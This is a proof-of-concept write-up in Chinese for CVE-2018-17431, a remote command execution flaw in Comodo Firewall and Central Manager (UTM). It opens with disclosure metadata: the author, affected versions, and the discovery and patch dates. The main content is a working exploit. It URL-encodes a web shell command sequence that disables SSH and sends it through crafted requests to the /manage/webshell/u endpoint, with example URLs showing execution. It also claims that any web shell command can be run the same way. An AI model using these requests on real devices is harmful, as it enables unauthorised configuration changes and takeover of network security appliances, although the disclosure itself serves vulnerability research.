CVE-2018-17431-PoC

CVE-2018-17431-PoC

CVE-2018-17431 的概念验证

漏洞标题：Comodo Firewall & Central Manager (UTM) 所有 2.7.0 及 1.5.0 之前版本远程命令执行（基于Web Shell）

漏洞作者：Milad Fadavvi

厂商主页：https://www.comodo.com/

软件链接：https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276

版本：2.7.0 及 1.5.0 之前

测试环境：Windows: firefox/chrome - Kali: firefox

发现日期：2018-08-15（同日报告）

确认漏洞存在：2018-09-22 (Ticket ID: XWR-503-79437)

补丁发布：2018-11-23 Comodo 发布说明

漏洞利用：

1. WebShell 模拟：

   root@kitploit:~

    例如，在 web shell 中禁用 SSH 的操作如下：
        - service [hit enter]
        - ssh [hit enter]
        - disable [hit enter]
   

2. 编码

   root@kitploit:~

    将上述序列进行 URL ECODING
    （我使用了 Burp 编码插件）
   
    %73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a
   

3. 运行

   root@kitploit:~

    基础 URL：https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
    
    
              https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152（额外的回车键用于执行命令）
              
   
    示例：https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
    
          https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152
   

页面将显示 "Configuration has been altered" 信息，并且配置已更改！

通过此技术，我们可以模拟所有 WebShell 命令。